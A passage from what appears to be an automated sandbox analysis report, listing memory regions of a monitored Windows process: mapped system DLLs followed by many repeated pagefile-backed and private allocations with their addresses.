"\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 808 start_va = 0x7ffd4dc70000 end_va = 0x7ffd4deecfff monitored = 0 entry_point = 0x7ffd4dd44970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 809 start_va = 0x7ffd4def0000 end_va = 0x7ffd4def7fff monitored = 0 entry_point = 0x7ffd4def1ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 810 start_va = 0x7ffd4df00000 end_va = 0x7ffd4df9cfff monitored = 0 entry_point = 0x7ffd4df078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 811 start_va = 0x7ffd4e160000 end_va = 0x7ffd4e1bafff monitored = 0 entry_point = 0x7ffd4e1738b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 812 start_va = 0x7ffd4e1c0000 end_va = 0x7ffd4e26cfff monitored = 0 entry_point = 0x7ffd4e1d81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 813 start_va = 0x7ffd4e270000 end_va = 0x7ffd4e2dafff monitored = 0 entry_point = 0x7ffd4e2890c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 814 start_va = 0x7ffd4e2e0000 end_va = 0x7ffd4e31afff monitored = 0 entry_point = 0x7ffd4e2e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 815 start_va = 0x7ffd4e320000 end_va = 0x7ffd4e479fff monitored = 0 entry_point = 0x7ffd4e3638e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 816 start_va = 0x7ffd4e480000 end_va = 0x7ffd4e526fff monitored = 0 entry_point = 0x7ffd4e4958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 817 start_va = 0x7ffd4e530000 end_va = 0x7ffd4e958fff monitored = 0 entry_point = 0x7ffd4e558740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 818 start_va = 0x7ffd4e9d0000 end_va = 0x7ffd4eb25fff monitored = 0 entry_point = 0x7ffd4e9da8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 819 start_va = 0x7ffd4eb30000 end_va = 0x7ffd5008efff monitored = 0 entry_point = 0x7ffd4ec911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 820 start_va = 0x7ffd500f0000 end_va = 0x7ffd50141fff monitored = 0 entry_point = 0x7ffd500ff530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 821 start_va = 0x7ffd50150000 end_va = 0x7ffd501f6fff monitored = 0 entry_point = 0x7ffd5015b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 822 start_va = 0x7ffd50200000 end_va = 0x7ffd5026efff monitored = 0 entry_point = 0x7ffd50225f70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll") Region: id = 823 start_va = 0x7ffd50380000 end_va = 0x7ffd504c2fff monitored = 0 entry_point = 0x7ffd503a8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 824 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 826 start_va = 0x4310000 end_va = 0x4325fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004310000" filename = "" Region: id = 827 start_va = 0x420000 end_va = 0x42dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 828 start_va = 0x2270000 end_va = 0x2276fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 829 start_va = 0x13070000 end_va = 0x130effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000013070000" filename = "" Region: id = 830 start_va = 0x4340000 end_va = 0x4340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 831 start_va = 0x4340000 end_va = 0x4340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 832 start_va = 0x4340000 end_va = 0x4340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 833 start_va = 0x4340000 end_va = 0x4340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 834 start_va = 0x4340000 end_va = 0x4340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004340000" filename = "" Region: id = 835 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 836 start_va = 0x87d0000 end_va = 0x887ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000087d0000" filename = "" Region: id = 837 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 838 start_va = 0x130f0000 end_va = 0x1316ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000130f0000" filename = "" Region: id = 839 start_va = 0x13170000 end_va = 0x131effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000013170000" filename = "" Region: id = 840 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 841 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 842 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 843 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 844 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 845 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 846 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 847 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 848 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 849 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 850 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 851 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 852 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 853 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 854 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 855 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 856 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 857 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 858 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 859 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 860 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 861 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 862 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 863 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 864 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 865 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 866 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 867 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 868 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 869 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 870 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 871 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 872 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 873 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 874 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 875 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 876 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 877 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 878 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 879 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 880 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 881 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 882 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 883 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 884 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 885 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 886 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 887 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 888 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 889 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 890 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 891 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 892 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 893 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 894 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 895 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 896 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 897 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 898 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 899 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 900 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 901 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 902 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 903 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 904 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 905 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 906 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 907 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 908 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 909 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 910 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 911 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 912 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 913 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 914 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 915 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 916 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 917 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 918 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 919 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 920 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 921 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 922 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 923 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 924 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 925 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 926 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 927 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 928 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 929 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 930 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 931 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 932 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 933 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 934 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 935 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 936 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 937 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 938 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 939 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 940 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 941 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 942 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 943 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 944 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 945 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 946 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 947 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 948 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 949 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 950 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 951 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 952 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 953 start_va = 0x4340000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 954 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 955 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 956 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 957 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 958 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 959 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 960 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 961 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 962 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 963 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 964 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 965 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 966 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 967 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 968 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 969 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 970 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 971 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 972 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 973 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 974 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 975 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 976 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 977 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 978 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 979 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 980 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 981 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 982 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 983 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 984 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 985 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 986 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 987 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 988 start_va = 0x420000 end_va = 0x42efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 989 start_va = 0x420000 end_va = 0x42efff monitored 